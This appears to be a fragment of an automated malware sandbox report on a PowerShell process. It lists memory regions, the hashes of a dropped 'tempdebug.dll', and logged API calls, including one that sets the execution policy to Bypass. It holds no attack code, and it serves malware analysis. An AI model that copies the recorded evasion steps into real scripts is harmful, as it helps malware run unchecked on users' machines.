  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000fcb0 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A54
0x A60
0x A6C
0x A78
0x A8C
0x A90
0x AA8
0x AAC
0x AB0
0x AB4
0x AEC
0x D18
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00050000 0x000b6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x000c6fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000000d0000 0x000d0000 0x000d1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
powershell.exe.mui 0x000e0000 0x000e2fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x000f0fff Private Memory Readable, Writable True True False
private_0x0000000000100000 0x00100000 0x00100fff Private Memory Readable, Writable True True False
private_0x0000000000110000 0x00110000 0x0014ffff Private Memory Readable, Writable, Executable True True False
private_0x0000000000150000 0x00150000 0x0015ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000180000 0x00180000 0x00181fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x001cffff Private Memory Readable, Writable True True False
pagefile_0x00000000001d0000 0x001d0000 0x001d0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000001e0000 0x001e0000 0x001e1fff Pagefile Backed Memory Readable True False False
  • Region Actions
cversions.2.db 0x001f0000 0x001f3fff Memory Mapped File Readable True False False
  • Region Actions
pagefile_0x0000000000200000 0x00200000 0x00200fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000210000 0x00210000 0x0021ffff Private Memory Readable, Writable True True False
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db 0x00220000 0x00245fff Memory Mapped File Readable True False False
  • Region Actions
private_0x0000000000250000 0x00250000 0x0034ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000350000 0x00350000 0x00417fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000420000 0x00420000 0x00520fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000530000 0x00530000 0x0112ffff Pagefile Backed Memory Readable True False False
  • Region Actions
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000009.db 0x01130000 0x0115ffff Memory Mapped File Readable True False False
  • Region Actions
cversions.2.db 0x01160000 0x01163fff Memory Mapped File Readable True False False
  • Region Actions
pagefile_0x0000000001170000 0x01170000 0x01170fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001180000 0x01180000 0x01180fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000001190000 0x01190000 0x01190fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x00000000011a0000 0x011a0000 0x011affff Private Memory True True False
private_0x00000000011b0000 0x011b0000 0x011bffff Private Memory True True False
private_0x00000000011c0000 0x011c0000 0x011fffff Private Memory Readable, Writable True True False
pagefile_0x0000000001200000 0x01200000 0x012defff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x012e0000 0x015aefff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000015b0000 0x015b0000 0x015bffff Private Memory True True False
private_0x00000000015c0000 0x015c0000 0x015cffff Private Memory True True False
private_0x00000000015d0000 0x015d0000 0x0160ffff Private Memory Readable, Writable True True False
private_0x0000000001610000 0x01610000 0x0161ffff Private Memory True True False
private_0x0000000001620000 0x01620000 0x0162ffff Private Memory True True False
private_0x0000000001630000 0x01630000 0x0166ffff Private Memory Readable, Writable, Executable True True False
private_0x0000000001670000 0x01670000 0x016affff Private Memory Readable, Writable True True False
pagefile_0x00000000016b0000 0x016b0000 0x01aa2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001ab0000 0x01ab0000 0x01baffff Private Memory Readable, Writable True True False
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x01bb0000 0x01c15fff Memory Mapped File Readable True False False
  • Region Actions
private_0x0000000001c20000 0x01c20000 0x01c2ffff Private Memory Readable, Writable True True False
l_intl.nls 0x01c30000 0x01c32fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000001c40000 0x01c40000 0x01c40fff Private Memory Readable, Writable True True False
sorttbls.nlp 0x01c50000 0x01c54fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000001c60000 0x01c60000 0x01c6ffff Private Memory Readable, Writable True True False
sortkey.nlp 0x01c70000 0x01cb0fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000001cc0000 0x01cc0000 0x01cfffff Private Memory Readable, Writable True True False
private_0x0000000001d00000 0x01d00000 0x01d9ffff Private Memory Readable, Writable True True False
microsoft.wsman.runtime.dll 0x01da0000 0x01da7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000001db0000 0x01db0000 0x01deffff Private Memory Readable, Writable True True False
private_0x0000000001df0000 0x01df0000 0x03deffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x03df0000 0x03eaffff Memory Mapped File Readable, Writable False False False
  • Region Actions
system.transactions.dll 0x03eb0000 0x03ef2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000003f00000 0x03f00000 0x03f00fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000003f10000 0x03f10000 0x03f10fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000003f10000 0x03f10000 0x03f1ffff Private Memory True True False
pagefile_0x0000000003f20000 0x03f20000 0x03f30fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000003f40000 0x03f40000 0x03f7ffff Private Memory Readable, Writable True True False
system.management.automation.dll 0x03f80000 0x04261fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mscorrc.dll 0x04270000 0x042c3fff Memory Mapped File Readable True False False
  • Region Actions
private_0x00000000042d0000 0x042d0000 0x042dffff Private Memory True True False
private_0x00000000042e0000 0x042e0000 0x042effff Private Memory True True False
private_0x00000000042f0000 0x042f0000 0x042fffff Private Memory True True False
private_0x0000000004300000 0x04300000 0x0430ffff Private Memory True True False
private_0x0000000004310000 0x04310000 0x0431ffff Private Memory True True False
private_0x0000000004320000 0x04320000 0x0432ffff Private Memory True True False
private_0x0000000004330000 0x04330000 0x0433ffff Private Memory True True False
private_0x0000000004340000 0x04340000 0x0434ffff Private Memory True True False
powershell.exe 0x22250000 0x222c1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
culture.dll 0x60340000 0x60347fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.directoryservices.ni.dll 0x60d80000 0x60e93fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.ni.dll 0x60ea0000 0x60fa3fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.xml.ni.dll 0x60fb0000 0x614e5fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.management.ni.dll 0x614f0000 0x615b2fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.utility.ni.dll 0x615c0000 0x6175dfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.core.ni.dll 0x61760000 0x61994fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.automation.ni.dll 0x619a0000 0x62219fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.ni.dll 0x62220000 0x629bbfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorlib.ni.dll 0x629c0000 0x634b7fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorwks.dll 0x634c0000 0x63a6afff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoreei.dll 0x63cf0000 0x63d69fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.transactions.dll 0x67aa0000 0x67ae2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mscoree.dll 0x6bb30000 0x6bb79fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.security.ni.dll 0x6d010000 0x6d03cfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.transactions.ni.dll 0x6d100000 0x6d19bfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.wsman.management.ni.dll 0x6d1a0000 0x6d224fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.automation.dll 0x6d230000 0x6d511fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
microsoft.powershell.commands.diagnostics.ni.dll 0x6edc0000 0x6ee0afff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
linkinfo.dll 0x6f110000 0x6f118fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shdocvw.dll 0x6f120000 0x6f14dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntshrui.dll 0x70100000 0x7016ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cscapi.dll 0x70170000 0x7017afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apphelp.dll 0x71510000 0x7155bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
system.configuration.install.ni.dll 0x71fe0000 0x72004fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
shfolder.dll 0x72020000 0x72024fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
microsoft.powershell.consolehost.ni.dll 0x72040000 0x720c0fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
msvcr80.dll 0x720d0000 0x7216afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x739d0000 0x73a0ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
slc.dll 0x74190000 0x74199fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
atl.dll 0x741c0000 0x741d3fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x742b0000 0x7444dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
propsys.dll 0x74600000 0x746f4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x74800000 0x74820fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74940000 0x74948fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
userenv.dll 0x74af0000 0x74b06fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74c20000 0x74c5afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x74e70000 0x74e85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75290000 0x752a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x75340000 0x7534bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x753f0000 0x753fafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x75470000 0x754b9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cfgmgr32.dll 0x754c0000 0x754e6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
devobj.dll 0x756d0000 0x756e1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x756f0000 0x75708fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x75710000 0x757b0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x757c0000 0x7588bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x758a0000 0x764e9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x764f0000 0x7658ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76590000 0x76663fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x766f0000 0x76772fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x76780000 0x7682bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76830000 0x76839fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x76840000 0x7688dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x76890000 0x76958fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
setupapi.dll 0x769a0000 0x76b3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76b40000 0x76b96fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76ba0000 0x76c2efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76e60000 0x76efcfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x77140000 0x7729bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x772a0000 0x773dbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x773f0000 0x773f4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x77400000 0x7741efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x77420000 0x77464fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apisetschema.dll 0x774e0000 0x774e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000000007f6f0000 0x7f6f0000 0x7f7effff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x000000007ffb0000 0x7ffb0000 0x7ffd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007ffd9000 0x7ffd9000 0x7ffd9fff Private Memory Readable, Writable True True False
private_0x000000007ffda000 0x7ffda000 0x7ffdafff Private Memory Readable, Writable True True False
private_0x000000007ffdb000 0x7ffdb000 0x7ffdbfff Private Memory Readable, Writable True True False
private_0x000000007ffdc000 0x7ffdc000 0x7ffdcfff Private Memory Readable, Writable True True False
private_0x000000007ffdd000 0x7ffdd000 0x7ffddfff Private Memory Readable, Writable True True False
private_0x000000007ffde000 0x7ffde000 0x7ffdefff Private Memory Readable, Writable True True False
private_0x000000007ffdf000 0x7ffdf000 0x7ffdffff Private Memory Readable, Writable True True False
For performance reasons, the remaining 54 entries are omitted.
The remaining entries can be found in flog.txt.
Created Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\bgc6u8oy yxgxkr\appdata\local\tempdebug.dll 519.00 KB (531456 bytes) MD5: 64b2ac701a0d67da134e13b2efc46900
SHA1: 1bb516d70591a5a0eb55ee71f9f38597f3640b14
SHA256: f3f55c3df39b85d934121355bed439b53501f996e9b39d4abed14c7fe8081d92 		False
Threads
Thread 0xa54
(Host: 349, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Info type = Operating System False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Module Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
System Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 9
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
System Get Info type = Operating System False 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Set Environment String name = PSExecutionPolicyPreference, value = Bypass True 1
Fn
Environment Get Environment String name = MshEnableTrace False 9
Fn
Environment Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Environment True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Environment, value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Environment Set Environment String name = PSMODULEPATH, value = C:\Users\BGC6u8Oy yXGxkR\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ True 2
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 4096 True 3
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 3315 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 781, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
System Get Info type = Hardware Information True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 4096 True 41
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 436 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ True 2
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 4096, size_out = 2530 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 542, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 5
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4018 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 78, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 4096, size_out = 2762 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 310, size_out = 0 True 1
Fn
